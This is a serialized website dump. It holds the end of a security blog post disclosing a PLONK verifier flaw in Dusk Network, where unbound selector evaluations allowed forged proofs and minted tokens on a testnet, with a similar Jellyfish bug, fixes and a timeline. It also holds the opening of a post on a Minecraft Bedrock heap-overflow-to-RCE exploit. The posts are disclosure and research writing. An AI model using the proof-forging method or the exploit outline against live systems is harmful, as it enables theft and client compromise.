",{"type":23,"tag":2258,"props":148190,"children":148191},{},[148192],{"type":29,"value":148193},"should",{"type":29,"value":148195}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":71,"props":148197,"children":148199},{"className":148198},[],[148200],{"type":29,"value":147714},{"type":29,"value":148202},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":71,"props":148204,"children":148206},{"className":148205},[],[148207],{"type":29,"value":148208},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":29,"value":23057},{"type":23,"tag":32,"props":148211,"children":148212},{},[148213],{"type":23,"tag":93,"props":148214,"children":148217},{"alt":148215,"src":148216},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":32,"props":148219,"children":148220},{},[148221,148223,148263,148265,148290,148292,148297],{"type":29,"value":148222},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":71,"props":148224,"children":148226},{"className":148225},[6318,6319],[148227],{"type":23,"tag":230,"props":148228,"children":148230},{"className":148229},[6324],[148231],{"type":23,"tag":230,"props":148232,"children":148234},{"className":148233,"ariaHidden":1726},[6329],[148235],{"type":23,"tag":230,"props":148236,"children":148238},{"className":148237},[6334],[148239,148243,148248,148253,148258],{"type":23,"tag":230,"props":148240,"children":148242},{"className":148241,"style":6447},[6339],[],{"type":23,"tag":230,"props":148244,"children":148246},{"className":148245,"style":94826},[6345,23902],[148247],{"type":29,"value":95645},{"type":23,"tag":230,"props":148249,"children":148251},{"className":148250},[24031],[148252],{"type":29,"value":302},{"type":23,"tag":230,"props":148254,"children":148256},{"className":148255},[6345,23902],[148257],{"type":29,"value":4511},{"type":23,"tag":230,"props":148259,"children":148261},{"className":148260},[24053],[148262],{"type":29,"value":5467},{"type":29,"value":148264}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":71,"props":148266,"children":148268},{"className":148267},[6318,6319],[148269],{"type":23,"tag":230,"props":148270,"children":148272},{"className":148271},[6324],[148273],{"type":23,"tag":230,"props":148274,"children":148276},{"className":148275,"ariaHidden":1726},[6329],[148277],{"type":23,"tag":230,"props":148278,"children":148280},{"className":148279},[6334],[148281,148285],{"type":23,"tag":230,"props":148282,"children":148284},{"className":148283,"style":112667},[6339],[],{"type":23,"tag":230,"props":148286,"children":148288},{"className":148287,"style":115383},[6345,23902],[148289],{"type":29,"value":115386},{"type":29,"value":148291},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":71,"props":148293,"children":148295},{"className":148294},[],[148296],{"type":29,"value":147714},{"type":29,"value":148298}," gives the required value in a single field division.",{"type":23,"tag":21113,"props":148300,"children":148301},{},[],{"type":23,"tag":24,"props":148303,"children":148305},{"id":148304},"impact-on-dusk-network",[148306],{"type":29,"value":148307},"Impact on Dusk Network",{"type":23,"tag":32,"props":148309,"children":148310},{},[148311,148313,148320],{"type":29,"value":148312},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":23,"tag":181,"props":148314,"children":148317},{"href":148315,"rel":148316},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[185],[148318],{"type":29,"value":148319},"preverify path",{"type":29,"value":148321},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":144,"props":148323,"children":148324},{},[148325,148330,148335],{"type":23,"tag":102,"props":148326,"children":148327},{},[148328],{"type":29,"value":148329},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":102,"props":148331,"children":148332},{},[148333],{"type":29,"value":148334},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":102,"props":148336,"children":148337},{},[148338],{"type":29,"value":148339},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":32,"props":148341,"children":148342},{},[148343],{"type":29,"value":148344},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":144,"props":148346,"children":148347},{},[148348,148353,148363,148375,148380],{"type":23,"tag":102,"props":148349,"children":148350},{},[148351],{"type":29,"value":148352},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":102,"props":148354,"children":148355},{},[148356,148358],{"type":29,"value":148357},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":2302,"props":148359,"children":148360},{},[148361],{"type":29,"value":148362},"2000 DUSK from nothing",{"type":23,"tag":102,"props":148364,"children":148365},{},[148366,148368,148373],{"type":29,"value":148367},"The malicious wallet transfers ",{"type":23,"tag":2302,"props":148369,"children":148370},{},[148371],{"type":29,"value":148372},"1337 DUSK",{"type":29,"value":148374}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":102,"props":148376,"children":148377},{},[148378],{"type":29,"value":148379},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":102,"props":148381,"children":148382},{},[148383],{"type":29,"value":148384},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":32,"props":148386,"children":148387},{},[148388],{"type":23,"tag":93,"props":148389,"children":148392},{"alt":148390,"src":148391},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":32,"props":148394,"children":148395},{},[148396,148398,148404,148406,148413],{"type":29,"value":148397},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":181,"props":148399,"children":148401},{"href":143699,"rel":148400},[185],[148402],{"type":29,"value":148403},"~60M",{"type":29,"value":148405},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":181,"props":148407,"children":148410},{"href":148408,"rel":148409},"https://neptune.cash/articles/critical-vulnerability-disclosure",[185],[148411],{"type":29,"value":148412},"Triton VM vulnerability",{"type":29,"value":312},{"type":23,"tag":21113,"props":148415,"children":148416},{},[],{"type":23,"tag":24,"props":148418,"children":148420},{"id":148419},"the-fix",[148421],{"type":29,"value":148422},"The fix",{"type":23,"tag":32,"props":148424,"children":148425},{},[148426],{"type":29,"value":148427},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":98,"props":148429,"children":148430},{},[148431,148476],{"type":23,"tag":102,"props":148432,"children":148433},{},[148434,148436,148447,148449,148455,148456,148462,148463,148469,148470],{"type":29,"value":148435},"Extend ",{"type":23,"tag":181,"props":148437,"children":148440},{"href":148438,"rel":148439},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[185],[148441],{"type":23,"tag":71,"props":148442,"children":148444},{"className":148443},[],[148445],{"type":29,"value":148446},"compute_aggregate_witness",{"type":29,"value":148448}," on the prover side to also include ",{"type":23,"tag":71,"props":148450,"children":148452},{"className":148451},[],[148453],{"type":29,"value":148454},"q_arith",{"type":29,"value":684},{"type":23,"tag":71,"props":148457,"children":148459},{"className":148458},[],[148460],{"type":29,"value":148461},"q_c",{"type":29,"value":684},{"type":23,"tag":71,"props":148464,"children":148466},{"className":148465},[],[148467],{"type":29,"value":148468},"q_l",{"type":29,"value":8824},{"type":23,"tag":71,"props":148471,"children":148473},{"className":148472},[],[148474],{"type":29,"value":148475},"q_r",{"type":23,"tag":102,"props":148477,"children":148478},{},[148479,148481,148491],{"type":29,"value":148480},"Add their evaluations to ",{"type":23,"tag":181,"props":148482,"children":148485},{"href":148483,"rel":148484},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[185],[148486],{"type":23,"tag":71,"props":148487,"children":148489},{"className":148488},[],[148490],{"type":29,"value":147593},{"type":29,"value":148492}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":32,"props":148494,"children":148495},{},[148496,148498,148505],{"type":29,"value":148497},"This was done in ",{"type":23,"tag":181,"props":148499,"children":148502},{"href":148500,"rel":148501},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[185],[148503],{"type":29,"value":148504},"commit 645265b7",{"type":29,"value":148506},", which landed on February 14, 2026.",{"type":23,"tag":21113,"props":148508,"children":148509},{},[],{"type":23,"tag":24,"props":148511,"children":148513},{"id":148512},"why-was-this-missed",[148514],{"type":29,"value":148515},"Why was this missed?",{"type":23,"tag":32,"props":148517,"children":148518},{},[148519,148521,148528,148529,148536,148538,148545,148547,148554],{"type":29,"value":148520},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":181,"props":148522,"children":148525},{"href":148523,"rel":148524},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[185],[148526],{"type":29,"value":148527},"December 2023 audit of dusk-plonk",{"type":29,"value":126169},{"type":23,"tag":181,"props":148530,"children":148533},{"href":148531,"rel":148532},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[185],[148534],{"type":29,"value":148535},"September 2024 audit of Phoenix",{"type":29,"value":148537},", and a ",{"type":23,"tag":181,"props":148539,"children":148542},{"href":148540,"rel":148541},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[185],[148543],{"type":29,"value":148544},"September 2024 Oak Security audit of the Rusk node library",{"type":29,"value":148546},". Dusk's public ",{"type":23,"tag":181,"props":148548,"children":148551},{"href":148549,"rel":148550},"https://dusk.network/news/audits-overview",[185],[148552],{"type":29,"value":148553},"audits overview",{"type":29,"value":148555}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":32,"props":148557,"children":148558},{},[148559,148561,148566],{"type":29,"value":148560},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":2258,"props":148562,"children":148563},{},[148564],{"type":29,"value":148565},"evaluations",{"type":29,"value":312},{"type":23,"tag":32,"props":148568,"children":148569},{},[148570],{"type":29,"value":148571},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":32,"props":148573,"children":148574},{},[148575],{"type":29,"value":148576},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":24,"props":148578,"children":148580},{"id":148579},"a-similar-bug-in-espresso-systems-jellyfish",[148581],{"type":29,"value":148582},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":32,"props":148584,"children":148585},{},[148586,148588,148595],{"type":29,"value":148587},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":181,"props":148589,"children":148592},{"href":148590,"rel":148591},"https://github.com/EspressoSystems/jellyfish/",[185],[148593],{"type":29,"value":148594},"jf-plonk",{"type":29,"value":148596}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":32,"props":148598,"children":148599},{},[148600,148602,148609,148611,148622,148624,148649,148651,148676],{"type":29,"value":148601},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":181,"props":148603,"children":148606},{"href":148604,"rel":148605},"https://eprint.iacr.org/2020/315",[185],[148607],{"type":29,"value":148608},"Plookup",{"type":29,"value":148610}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":181,"props":148612,"children":148615},{"href":148613,"rel":148614},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[185],[148616],{"type":23,"tag":71,"props":148617,"children":148619},{"className":148618},[],[148620],{"type":29,"value":148621},"append_plookup_evaluations",{"type":29,"value":148623}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":23,"tag":71,"props":148625,"children":148627},{"className":148626},[6318,6319],[148628],{"type":23,"tag":230,"props":148629,"children":148631},{"className":148630},[6324],[148632],{"type":23,"tag":230,"props":148633,"children":148635},{"className":148634,"ariaHidden":1726},[6329],[148636],{"type":23,"tag":230,"props":148637,"children":148639},{"className":148638},[6334],[148640,148644],{"type":23,"tag":230,"props":148641,"children":148643},{"className":148642,"style":112667},[6339],[],{"type":23,"tag":230,"props":148645,"children":148647},{"className":148646,"style":95312},[6345,23902],[148648],{"type":29,"value":115730},{"type":29,"value":148650}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":71,"props":148652,"children":148654},{"className":148653},[6318,6319],[148655],{"type":23,"tag":230,"props":148656,"children":148658},{"className":148657},[6324],[148659],{"type":23,"tag":230,"props":148660,"children":148662},{"className":148661,"ariaHidden":1726},[6329],[148663],{"type":23,"tag":230,"props":148664,"children":148666},{"className":148665},[6334],[148667,148671],{"type":23,"tag":230,"props":148668,"children":148670},{"className":148669,"style":112667},[6339],[],{"type":23,"tag":230,"props":148672,"children":148674},{"className":148673,"style":95312},[6345,23902],[148675],{"type":29,"value":115730},{"type":29,"value":148677},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":32,"props":148679,"children":148680},{},[148681,148683,148689,148691,148697],{"type":29,"value":148682},"The attack requires modifying a single evaluation (",{"type":23,"tag":71,"props":148684,"children":148686},{"className":148685},[],[148687],{"type":29,"value":148688},"key_table_next_eval",{"type":29,"value":148690},") by ",{"type":23,"tag":71,"props":148692,"children":148694},{"className":148693},[],[148695],{"type":29,"value":148696},"delta / (u * v^3)",{"type":29,"value":148698}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":32,"props":148700,"children":148701},{},[148702,148704,148711,148713,148724],{"type":29,"value":148703},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":181,"props":148705,"children":148708},{"href":148706,"rel":148707},"https://github.com/EspressoSystems/jellyfish/pull/867",[185],[148709],{"type":29,"value":148710},"PR #867",{"type":29,"value":148712}," fixed the issue and was tagged as ",{"type":23,"tag":181,"props":148714,"children":148717},{"href":148715,"rel":148716},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[185],[148718],{"type":23,"tag":71,"props":148719,"children":148721},{"className":148720},[],[148722],{"type":29,"value":148723},"jf-plonk-v0.8.0",{"type":29,"value":148725}," on March 18, 2026.",{"type":23,"tag":21113,"props":148727,"children":148728},{},[],{"type":23,"tag":24,"props":148730,"children":148732},{"id":148731},"toward-standardization",[148733],{"type":29,"value":148734},"Toward standardization",{"type":23,"tag":32,"props":148736,"children":148737},{},[148738,148740,148747],{"type":29,"value":148739},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":181,"props":148741,"children":148744},{"href":148742,"rel":148743},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[185],[148745],{"type":29,"value":148746},"similar patterns appear across zkVMs",{"type":29,"value":148748},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":32,"props":148750,"children":148751},{},[148752],{"type":29,"value":148753},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":32,"props":148755,"children":148756},{},[148757],{"type":29,"value":148758},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":23,"tag":24,"props":148760,"children":148761},{"id":62598},[148762],{"type":29,"value":148763},"Disclosure timeline",{"type":23,"tag":57518,"props":148765,"children":148766},{},[148767,148783],{"type":23,"tag":124777,"props":148768,"children":148769},{},[148770],{"type":23,"tag":124781,"props":148771,"children":148772},{},[148773,148778],{"type":23,"tag":124785,"props":148774,"children":148775},{},[148776],{"type":29,"value":148777},"Date",{"type":23,"tag":124785,"props":148779,"children":148780},{},[148781],{"type":29,"value":148782},"Event",{"type":23,"tag":124805,"props":148784,"children":148785},{},[148786,148799,148812,148824,148850,148870],{"type":23,"tag":124781,"props":148787,"children":148788},{},[148789,148794],{"type":23,"tag":124812,"props":148790,"children":148791},{},[148792],{"type":29,"value":148793},"2026-02-13",{"type":23,"tag":124812,"props":148795,"children":148796},{},[148797],{"type":29,"value":148798},"Dusk vulnerability reported",{"type":23,"tag":124781,"props":148800,"children":148801},{},[148802,148807],{"type":23,"tag":124812,"props":148803,"children":148804},{},[148805],{"type":29,"value":148806},"2026-02-14",{"type":23,"tag":124812,"props":148808,"children":148809},{},[148810],{"type":29,"value":148811},"Dusk acknowledged",{"type":23,"tag":124781,"props":148813,"children":148814},{},[148815,148819],{"type":23,"tag":124812,"props":148816,"children":148817},{},[148818],{"type":29,"value":148806},{"type":23,"tag":124812,"props":148820,"children":148821},{},[148822],{"type":29,"value":148823},"Dusk fix committed",{"type":23,"tag":124781,"props":148825,"children":148826},{},[148827,148832],{"type":23,"tag":124812,"props":148828,"children":148829},{},[148830],{"type":29,"value":148831},"2026-02-27",{"type":23,"tag":124812,"props":148833,"children":148834},{},[148835,148837,148848],{"type":29,"value":148836},"Public ",{"type":23,"tag":181,"props":148838,"children":148841},{"href":148839,"rel":148840},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[185],[148842],{"type":23,"tag":71,"props":148843,"children":148845},{"className":148844},[],[148846],{"type":29,"value":148847},"dusk-rusk-1.6.0",{"type":29,"value":148849}," release published",{"type":23,"tag":124781,"props":148851,"children":148852},{},[148853,148858],{"type":23,"tag":124812,"props":148854,"children":148855},{},[148856],{"type":29,"value":148857},"2026-03-16",{"type":23,"tag":124812,"props":148859,"children":148860},{},[148861,148863,148869],{"type":29,"value":148862},"Jellyfish fix PR opened (",{"type":23,"tag":181,"props":148864,"children":148866},{"href":148706,"rel":148865},[185],[148867],{"type":29,"value":148868},"#867",{"type":29,"value":5467},{"type":23,"tag":124781,"props":148871,"children":148872},{},[148873,148878],{"type":23,"tag":124812,"props":148874,"children":148875},{},[148876],{"type":29,"value":148877},"2026-03-18",{"type":23,"tag":124812,"props":148879,"children":148880},{},[148881,148883,148888,148890],{"type":29,"value":148882},"Jellyfish fix merged in ",{"type":23,"tag":181,"props":148884,"children":148886},{"href":148706,"rel":148885},[185],[148887],{"type":29,"value":148868},{"type":29,"value":148889}," and tagged as ",{"type":23,"tag":181,"props":148891,"children":148893},{"href":148715,"rel":148892},[185],[148894],{"type":23,"tag":71,"props":148895,"children":148897},{"className":148896},[],[148898],{"type":29,"value":148723},{"type":23,"tag":24,"props":148900,"children":148902},{"id":148901},"acknowledgements",[148903],{"type":29,"value":148904},"Acknowledgements",{"type":23,"tag":32,"props":148906,"children":148907},{},[148908],{"type":29,"value":148909},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":243,"depth":243,"links":148911},[148912,148919,148920,148921,148922,148923,148924,148925,148926,148927,148928,148929],{"id":143729,"depth":243,"text":143732,"children":148913},[148914,148915,148916,148917,148918],{"id":143754,"depth":252,"text":143757},{"id":144557,"depth":252,"text":144560},{"id":145755,"depth":252,"text":145758},{"id":145785,"depth":252,"text":145788},{"id":146066,"depth":252,"text":146069},{"id":146799,"depth":243,"text":146802},{"id":146937,"depth":243,"text":146940},{"id":92080,"depth":243,"text":147568},{"id":148167,"depth":243,"text":148170},{"id":148304,"depth":243,"text":148307},{"id":148419,"depth":243,"text":148422},{"id":148512,"depth":243,"text":148515},{"id":148579,"depth":243,"text":148582},{"id":148731,"depth":243,"text":148734},{"id":62598,"depth":243,"text":148763},{"id":148901,"depth":243,"text":148904},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":148934,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":148935,"description":148936,"date":148937,"author":125436,"image":148938,"isFeatured":18,"onBlogPage":18,"tags":148940,"body":148943,"_type":5202,"_id":158323,"_source":5204,"_file":158324,"_stem":158325,"_extension":5207},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":148939,"width":99047,"height":16},"/posts/minecraft-heap-overflow-to-rce/title.png",[148941,148942],"minecraft","rce",{"type":20,"children":148944,"toc":158300},[148945,148950,148955,148960,148966,148971,148990,148995,149001,149006,149011,149017,149022,149027,149032,149038,149043,149048,149054,149074,149086,149093,149115,149129,149136,149142,149152,149172,149177,149183,149196,149541,149546,149554,149560,149579,149887,149915,149958,149970,149978,149983,150452,150471,150492,150834,150858,151130,151154,151181,151390,151409,151417,151436,151442,151504,151507,151529,151533,151538,151543,151549,151554,151568,151574,151588,151594,151607,151612,151620,151625,151631,151652,151660,151673,151676,151681,151695,151700,151705,151711,151716,151739,151744,151750,151755,151767,151779,151893,151913,151918,151923,151929,151934,151954,152569,152582,153656,153661,153669,153674,153680,153685,153693,153706,153711,153716,153723,153736,153741,153748,153803,153823,153830,153849,153856,153859,153864,153869,153875,153887,153900,153908,153979,153990,154024,154032,154037,154042,154048,154060,154079,154091,154096,154104,154123,154131,154150,154158,154184,154192,154197,154205,154210,154218,154221,154226,154231,154237,154250,154268,154306,154336,154344,154349,154355,154360,154365,154371,154383,154552,154564,154572,154577,154584,154589,154650,154697,154709,154714,154740,154814,154852,154857,154865,154886,154891,154917,154951,155004,155051,155057,155076,155108,155116,155219,155290,155296,155322,155329,155334,155341,155346,155587,155613,155618,155666,155671,155677,155709,155721,155753,155761,155800,155808,155813,155821,155826,155834,155846,155854,155866,155874,155886,155906,155912,155932,155949,155957,155969,155977,155996,156001,156009,156014,156022,156048,156059,156066,156071,156079,156084,156092,156097,156105,156110,156118,156123,156131,156136,156144,156185,156192,156197,156205,156210,156218,156223,156231,156236,156241,156249,156254,156262,156288,156296,156322,156330,156335,156343,156348,156356,156364,156369,156377,156382,156390,156393,156404,156438,156456,156464,156484,156490,156509,156567,156587,156595,156598,156637,156697,156702,156708,156721,156729,156781,156820,156828,156861,156864,156884,156892,156898,156903,156911,156951,156992,157012,157017,157022,157040,157046,157051,157070,157131,157139,157165,157171,157191,157196,157201,157208,157273,157278,157285,157306,157311,157323,157329,157362,157369,157374,157402,157409,157465,157477,157484,157545,157564,157570,157604,157625,157652,157660,157713,157783,157789,157809,157852,157857,158255,158261,158266,158277,158281,158286,158291,158296],{"type":23,"tag":37658,"props":148946,"children":148948},{"id":148947},"pwning-minecraft-4-byte-heap-overflow-to-rce",[148949],{"type":29,"value":148935},{"type":23,"tag":32,"props":148951,"children":148952},{},[148953],{"type":29,"value":148954},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":32,"props":148956,"children":148957},{},[148958],{"type":29,"value":148959},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":24,"props":148961,"children":148963},{"id":148962},"the-target",[148964],{"type":29,"value":148965},"The Target",{"type":23,"tag":32,"props":148967,"children":148968},{},[148969],{"type":29,"value":148970},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":32,"props":148972,"children":148973},{},[148974,148976,148981,148983,148988],{"type":29,"value":148975},"There are two main editions: ",{"type":23,"tag":2302,"props":148977,"children":148978},{},[148979],{"type":29,"value":148980},"Minecraft Java Edition",{"type":29,"value":148982},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":2302,"props":148984,"children":148985},{},[148986],{"type":29,"value":148987},"Minecraft Bedrock Edition",{"type":29,"value":148989},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":32,"props":148991,"children":148992},{},[148993],{"type":29,"value":148994},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":59,"props":148996,"children":148998},{"id":148997},"choice-of-context",[148999],{"type":29,"value":149000},"Choice of Context",{"type":23,"tag":32,"props":149002,"children":149003},{},[149004],{"type":29,"value":149005},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":23,"tag":32,"props":149007,"children":149008},{},[149009],{"type":29,"value":149010},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":59,"props":149012,"children":149014},{"id":149013},"resource-packs",[149015],{"type":29,"value":149016},"Resource Packs",{"type":23,"tag":32,"props":149018,"children":149019},{},[149020],{"type":29,"value":149021},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":32,"props":149023,"children":149024},{},[149025],{"type":29,"value":149026},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":32,"props":149028,"children":149029},{},[149030],{"type":29,"value":149031},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":24,"props":149033,"children":149035},{"id":149034},"finding-a-memory-corruption-bug",[149036],{"type":29,"value":149037},"Finding a Memory Corruption Bug",{"type":23,"tag":32,"props":149039,"children":149040},{},[149041],{"type":29,"value":149042},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":32,"props":149044,"children":149045},{},[149046],{"type":29,"value":149047},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":59,"props":149049,"children":149051},{"id":149050},"locating-image-parsing-code",[149052],{"type":29,"value":149053},"Locating Image Parsing Code",{"type":23,"tag":32,"props":149055,"children":149056},{},[149057,149059,149065,149066,149072],{"type":29,"value":149058},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":71,"props":149060,"children":149062},{"className":149061},[],[149063],{"type":29,"value":149064},"PNG",{"type":29,"value":2769},{"type":23,"tag":71,"props":149067,"children":149069},{"className":149068},[],[149070],{"type":29,"value":149071},"GIF",{"type":29,"value":149073}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":32,"props":149075,"children":149076},{},[149077,149079,149084],{"type":29,"value":149078},"Searching for the string ",{"type":23,"tag":71,"props":149080,"children":149082},{"className":149081},[],[149083],{"type":29,"value":149071},{"type":29,"value":149085}," returned some interesting results:",{"type":23,"tag":32,"props":149087,"children":149088},{},[149089],{"type":23,"tag":93,"props":149090,"children":149092},{"alt":52351,"src":149091},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":32,"props":149094,"children":149095},{},[149096,149098,149105,149107,149114],{"type":29,"value":149097},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":23,"tag":181,"props":149099,"children":149102},{"href":149100,"rel":149101},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[185],[149103],{"type":29,"value":149104},"stb_image.h",{"type":29,"value":149106},". For an example: usage of ",{"type":23,"tag":181,"props":149108,"children":149111},{"href":149109,"rel":149110},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[185],[149112],{"type":29,"value":149113},"bad Image Descriptor",{"type":29,"value":312},{"type":23,"tag":32,"props":149116,"children":149117},{},[149118,149120,149127],{"type":29,"value":149119},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":181,"props":149121,"children":149124},{"href":149122,"rel":149123},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[185],[149125],{"type":29,"value":149126},"stbi__gif_load_next",{"type":29,"value":149128},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":32,"props":149130,"children":149131},{},[149132],{"type":23,"tag":93,"props":149133,"children":149135},{"alt":52351,"src":149134},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":59,"props":149137,"children":149139},{"id":149138},"stb-image-library",[149140],{"type":29,"value":149141},"STB Image Library",{"type":23,"tag":32,"props":149143,"children":149144},{},[149145,149150],{"type":23,"tag":71,"props":149146,"children":149148},{"className":149147},[],[149149],{"type":29,"value":149104},{"type":29,"value":149151}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a 